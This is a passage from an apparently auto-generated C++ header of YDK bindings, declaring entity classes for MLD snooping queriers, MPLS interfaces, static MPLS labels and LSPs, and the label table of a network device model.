get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf name; //type: string ydk::YLeaf descr; //type: string ydk::YLeaf ver; //type: McastVer ydk::YLeaf addr; //type: string ydk::YLeaf queryintvl; //type: uint16 ydk::YLeaf rspintvl; //type: uint16 ydk::YLeaf robustfac; //type: uint8 ydk::YLeaf startqueryintvl; //type: uint16 ydk::YLeaf startquerycnt; //type: uint8 ydk::YLeaf lastmbrintvl; //type: uint16 ydk::YLeaf timeout; //type: uint16 }; // System::MldsnoopItems::InstItems::DomItems::DomList::QuerierpItems class System::MldsnoopItems::InstItems::DomItems::DomList::QuerierstItems : public ydk::Entity { public: QuerierstItems(); ~QuerierstItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf name; //type: string ydk::YLeaf descr; //type: string ydk::YLeaf ver; //type: McastVer ydk::YLeaf addr; //type: string ydk::YLeaf queryintvl; //type: uint16 ydk::YLeaf rspintvl; //type: uint16 ydk::YLeaf robustfac; //type: uint8 ydk::YLeaf startqueryintvl; //type: uint16 ydk::YLeaf startquerycnt; //type: uint8 ydk::YLeaf lastmbrintvl; //type: uint16 ydk::YLeaf flags; //type: string }; // System::MldsnoopItems::InstItems::DomItems::DomList::QuerierstItems class System::MldsnoopItems::InstItems::InststatsItems : public ydk::Entity { public: InststatsItems(); ~InststatsItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; }; // System::MldsnoopItems::InstItems::InststatsItems class System::MplsItems : public ydk::Entity { public: MplsItems(); ~MplsItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf operst; //type: NwEntOperSt class IfItems; //type: System::MplsItems::IfItems std::shared_ptr if_items; }; // System::MplsItems class System::MplsItems::IfItems : public ydk::Entity { public: IfItems(); ~IfItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; class IfList; //type: System::MplsItems::IfItems::IfList ydk::YList if_list; }; // System::MplsItems::IfItems class System::MplsItems::IfItems::IfList : public ydk::Entity { public: IfList(); ~IfList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf id; //type: string ydk::YLeaf operst; //type: MplsOperSt ydk::YLeaf deleted; //type: boolean ydk::YLeaf name; //type: string ydk::YLeaf descr; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ class RtvrfMbrItems; //type: System::MplsItems::IfItems::IfList::RtvrfMbrItems class RtnwPathToIfItems; //type: System::MplsItems::IfItems::IfList::RtnwPathToIfItems std::shared_ptr rtvrfmbr_items; std::shared_ptr rtnwpathtoif_items; }; // System::MplsItems::IfItems::IfList class System::MplsItems::IfItems::IfList::RtvrfMbrItems : public ydk::Entity { public: RtvrfMbrItems(); ~RtvrfMbrItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf tdn; //type: string }; // System::MplsItems::IfItems::IfList::RtvrfMbrItems class System::MplsItems::IfItems::IfList::RtnwPathToIfItems : public ydk::Entity { public: RtnwPathToIfItems(); ~RtnwPathToIfItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class RtNwPathToIfList; //type: System::MplsItems::IfItems::IfList::RtnwPathToIfItems::RtNwPathToIfList ydk::YList rtnwpathtoif_list; }; // System::MplsItems::IfItems::IfList::RtnwPathToIfItems class System::MplsItems::IfItems::IfList::RtnwPathToIfItems::RtNwPathToIfList : public ydk::Entity { public: RtNwPathToIfList(); ~RtNwPathToIfList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf tdn; //type: string }; // System::MplsItems::IfItems::IfList::RtnwPathToIfItems::RtNwPathToIfList class System::MplsstaticItems : public ydk::Entity { public: MplsstaticItems(); ~MplsstaticItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf operst; //type: NwEntOperSt class AfItems; //type: System::MplsstaticItems::AfItems std::shared_ptr af_items; }; // System::MplsstaticItems class System::MplsstaticItems::AfItems : public ydk::Entity { public: AfItems(); ~AfItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; class AfList; //type: System::MplsstaticItems::AfItems::AfList ydk::YList af_list; }; // System::MplsstaticItems::AfItems class System::MplsstaticItems::AfItems::AfList : public ydk::Entity { public: AfList(); ~AfList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf type; //type: MplsstaticAfT ydk::YLeaf name; //type: string class PfxlabelItems; //type: System::MplsstaticItems::AfItems::AfList::PfxlabelItems class LspItems; //type: System::MplsstaticItems::AfItems::AfList::LspItems std::shared_ptr pfxlabel_items; std::shared_ptr lsp_items; }; // System::MplsstaticItems::AfItems::AfList class System::MplsstaticItems::AfItems::AfList::PfxlabelItems : public ydk::Entity { public: PfxlabelItems(); ~PfxlabelItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class PfxLclLblList; //type: System::MplsstaticItems::AfItems::AfList::PfxlabelItems::PfxLclLblList ydk::YList pfxlcllbl_list; }; // System::MplsstaticItems::AfItems::AfList::PfxlabelItems class System::MplsstaticItems::AfItems::AfList::PfxlabelItems::PfxLclLblList : public ydk::Entity { public: PfxLclLblList(); ~PfxLclLblList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf label; //type: uint32 ydk::YLeaf pfx; //type: string class NhItems; //type: System::MplsstaticItems::AfItems::AfList::PfxlabelItems::PfxLclLblList::NhItems class AutoresolvenhItems; //type: System::MplsstaticItems::AfItems::AfList::PfxlabelItems::PfxLclLblList::AutoresolvenhItems class BackupnhItems; //type: System::MplsstaticItems::AfItems::AfList::PfxlabelItems::PfxLclLblList::BackupnhItems std::shared_ptr nh_items; std::shared_ptr autoresolvenh_items; std::shared_ptr backupnh_items; }; // System::MplsstaticItems::AfItems::AfList::PfxlabelItems::PfxLclLblList class System::MplsstaticItems::AfItems::AfList::PfxlabelItems::PfxLclLblList::NhItems : public ydk::Entity { public: NhItems(); ~NhItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf outlbl; //type: uint32 ydk::YLeaf nhaddr; //type: string }; // System::MplsstaticItems::AfItems::AfList::PfxlabelItems::PfxLclLblList::NhItems class System::MplsstaticItems::AfItems::AfList::PfxlabelItems::PfxLclLblList::AutoresolvenhItems : public ydk::Entity { public: AutoresolvenhItems(); ~AutoresolvenhItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf outlbl; //type: uint32 }; // System::MplsstaticItems::AfItems::AfList::PfxlabelItems::PfxLclLblList::AutoresolvenhItems class System::MplsstaticItems::AfItems::AfList::PfxlabelItems::PfxLclLblList::BackupnhItems : public ydk::Entity { public: BackupnhItems(); ~BackupnhItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf outlbl; //type: uint32 ydk::YLeaf nhaddr; //type: string ydk::YLeaf if_; //type: string }; // System::MplsstaticItems::AfItems::AfList::PfxlabelItems::PfxLclLblList::BackupnhItems class System::MplsstaticItems::AfItems::AfList::LspItems : public ydk::Entity { public: LspItems(); ~LspItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class NamedLSPList; //type: System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList ydk::YList namedlsp_list; }; // System::MplsstaticItems::AfItems::AfList::LspItems class System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList : public ydk::Entity { public: NamedLSPList(); ~NamedLSPList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf name; //type: string class XclabelItems; //type: System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::XclabelItems class PollabelItems; //type: System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::PollabelItems std::shared_ptr xclabel_items; std::shared_ptr pollabel_items; }; // System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList class System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::XclabelItems : public ydk::Entity { public: XclabelItems(); ~XclabelItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class XcLclLblList; //type: System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::XclabelItems::XcLclLblList ydk::YList xclcllbl_list; }; // System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::XclabelItems class System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::XclabelItems::XcLclLblList : public ydk::Entity { public: XcLclLblList(); ~XcLclLblList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf label; //type: uint32 ydk::YLeaf name; //type: string class NhItems; //type: System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::XclabelItems::XcLclLblList::NhItems std::shared_ptr nh_items; }; // System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::XclabelItems::XcLclLblList class System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::XclabelItems::XcLclLblList::NhItems : public ydk::Entity { public: NhItems(); ~NhItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class XcNhList; //type: System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::XclabelItems::XcLclLblList::NhItems::XcNhList ydk::YList xcnh_list; }; // System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::XclabelItems::XcLclLblList::NhItems class System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::XclabelItems::XcLclLblList::NhItems::XcNhList : public ydk::Entity { public: XcNhList(); ~XcNhList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf pathid; //type: uint16 ydk::YLeaf outlblstack; //type: string ydk::YLeaf nhaddr; //type: string }; // System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::XclabelItems::XcLclLblList::NhItems::XcNhList class System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::PollabelItems : public ydk::Entity { public: PollabelItems(); ~PollabelItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class PolicyLclLblList; //type: System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::PollabelItems::PolicyLclLblList ydk::YList policylcllbl_list; }; // System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::PollabelItems class System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::PollabelItems::PolicyLclLblList : public ydk::Entity { public: PolicyLclLblList(); ~PolicyLclLblList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf label; //type: uint32 ydk::YLeaf pfx; //type: string ydk::YLeaf name; //type: string class NhItems; //type: System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::PollabelItems::PolicyLclLblList::NhItems std::shared_ptr nh_items; }; // System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::PollabelItems::PolicyLclLblList class System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::PollabelItems::PolicyLclLblList::NhItems : public ydk::Entity { public: NhItems(); ~NhItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class PolNhList; //type: System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::PollabelItems::PolicyLclLblList::NhItems::PolNhList ydk::YList polnh_list; }; // System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::PollabelItems::PolicyLclLblList::NhItems class System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::PollabelItems::PolicyLclLblList::NhItems::PolNhList : public ydk::Entity { public: PolNhList(); ~PolNhList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf pathid; //type: uint16 ydk::YLeaf outlblstack; //type: string ydk::YLeaf nhaddr; //type: string }; // System::MplsstaticItems::AfItems::AfList::LspItems::NamedLSPList::PollabelItems::PolicyLclLblList::NhItems::PolNhList class System::LabeltableItems : public ydk::Entity { public: LabeltableItems(); ~LabeltableItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf operlabels; //type: uint32 ydk::YLeaf operipv4prefixes; //type: uint32 ydk::YLeaf operipv6prefixes; //type: uint32 ydk::YLeaf name; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf operst; //type: NwEntOperSt class ClientItems; //type: System::LabeltableItems::ClientItems class LblrangeItems; //type: System::LabeltableItems::LblrangeItems class LblItems; //type: System::LabeltableItems::LblItems std::shared_ptr client_items; std::shared_ptr lblrange_items; std::shared_ptr lbl_items; }; // System::LabeltableItems class System::LabeltableItems::ClientItems : public ydk::Entity { public: ClientItems(); ~ClientItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; class ClientsList; //type: System::LabeltableItems::ClientItems::ClientsList ydk::YList clients_list; }; // System::LabeltableItems::ClientItems class System::LabeltableItems::ClientItems::ClientsList : public ydk::Entity { public: ClientsList(); ~ClientsList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf index_; //type: uint32 ydk::YLeaf uuid; //type: uint32 ydk::YLeaf mtssap; //type: uint32 ydk::YLeaf staletime; //type: one of uint64, string ydk::YLeaf flag; //type: string ydk::YLeaf regmsg; //type: uint32 ydk::YLeaf convmsg; //type: uint32 ydk::YLeaf fecmsg; //type: uint32 ydk::YLeaf fecadd; //type: uint32 ydk::YLeaf ileadd; //type: uint32 ydk::YLeaf fecdel; //type: uint32 ydk::YLeaf iledel; //type: uint32 ydk::YLeaf lastxid; //type: uint32 ydk::YLeaf fecack; //type: uint32 }; // System::LabeltableItems::ClientItems::ClientsList class System::LabeltableItems::LblrangeItems : public ydk::Entity { public: LblrangeItems(); ~LblrangeItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf dynlblmin; //type: uint32 ydk::YLeaf dynlblmax; //type: uint32 ydk::YLeaf staticlblmin; //type: uint32 ydk::YLeaf staticlblmax; //type: uint32 ydk::YLeaf operdynlblmin; //type: uint32 ydk::YLeaf operdynlblmax; //type: uint32 ydk::YLeaf operstaticlblmin; //type: uint32 ydk::YLeaf operstaticlblmax; //type: uint32 ydk::YLeaf operstaticlblsoutofrange; //type: uint32 }; // System::LabeltableItems::LblrangeItems class System::LabeltableItems::LblItems : public ydk::Entity { public: LblItems(); ~LblItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; class LabelsList; //type: System::LabeltableItems::LblItems::LabelsList ydk::YList labels_list; }; // System::LabeltableItems::LblItems class System::LabeltableItems::LblItems::LabelsList : public ydk::Entity { public: LabelsList(); ~LabelsList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf label; //type: uint32 ydk::YLeaf fectype; //type: string ydk::YLeaf labelbytestats; //type: uint64 ydk::YLeaf labelpacketstats; //type: uint64 class FecIPv4Items; //type: System::LabeltableItems::LblItems::LabelsList::FecIPv4Items class FecIPv6Items; //type: System::LabeltableItems::LblItems::LabelsList::FecIPv6Items class FecPolicyIPv4Items; //type: System::LabeltableItems::LblItems::LabelsList::FecPolicyIPv4Items class FecPolicyIPv6Items; //type: System::LabeltableItems::LblItems::LabelsList::FecPolicyIPv6Items class FecNoneItems; //type: System::LabeltableItems::LblItems::LabelsList::FecNoneItems class FecSRTEItems; //type: System::LabeltableItems::LblItems::LabelsList::FecSRTEItems class FecPerCEItems; //type: System::LabeltableItems::LblItems::LabelsList::FecPerCEItems class FecReservedItems; //type: System::LabeltableItems::LblItems::LabelsList::FecReservedItems class FecDeaggItems; //type: System::LabeltableItems::LblItems::LabelsList::FecDeaggItems class FecAdjSIDItems; //type: System::LabeltableItems::LblItems::LabelsList::FecAdjSIDItems class NhlfeItems; //type: System::LabeltableItems::LblItems::LabelsList::NhlfeItems std::shared_ptr fecipv4_items; std::shared_ptr fecipv6_items; std::shared_ptr fecpolicyipv4_items; std::shared_ptr fecpolicyipv6_items; std::shared_ptr fecnone_items; std::shared_ptr fecsrte_items; std::shared_ptr fecperce_items; std::shared_ptr fecreserved_items; std::shared_ptr fecdeagg_items; std::shared_ptr fecadjsid_items; std::shared_ptr nhlfe_items; }; // System::LabeltableItems::LblItems::LabelsList class System::LabeltableItems::LblItems::LabelsList::FecIPv4Items : public ydk::Entity { public: FecIPv4Items(); ~FecIPv4Items(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf fectype; //type: string ydk::YLeaf state; //type: string ydk::YLeaf tableid; //type: string ydk::YLeaf prefix; //type: string ydk::YLeaf masklength; //type: uint8 }; // System::LabeltableItems::LblItems::LabelsList::FecIPv4Items class System::LabeltableItems::LblItems::LabelsList::FecIPv6Items : public ydk::Entity { public: FecIPv6Items(); ~FecIPv6Items(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf fectype; //type: string ydk::YLeaf state; //type: string ydk::YLeaf tableid; //type: string ydk::YLeaf prefix; //type: string ydk::YLeaf masklength; //type: uint8 }; // System::LabeltableItems::LblItems::LabelsList::FecIPv6Items class System::LabeltableItems::LblItems::LabelsList::FecPolicyIPv4Items : public ydk::Entity { public: FecPolicyIPv4Items(); ~FecPolicyIPv4Items(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf fectype; //type: string ydk::YLeaf state; //type: string ydk::YLeaf tableid; //type: string ydk::YLeaf prefix; //type: string ydk::YLeaf masklength; //type: uint8 }; // System::LabeltableItems::LblItems::LabelsList::FecPolicyIPv4Items class System::LabeltableItems::LblItems::LabelsList::FecPolicyIPv6Items : public 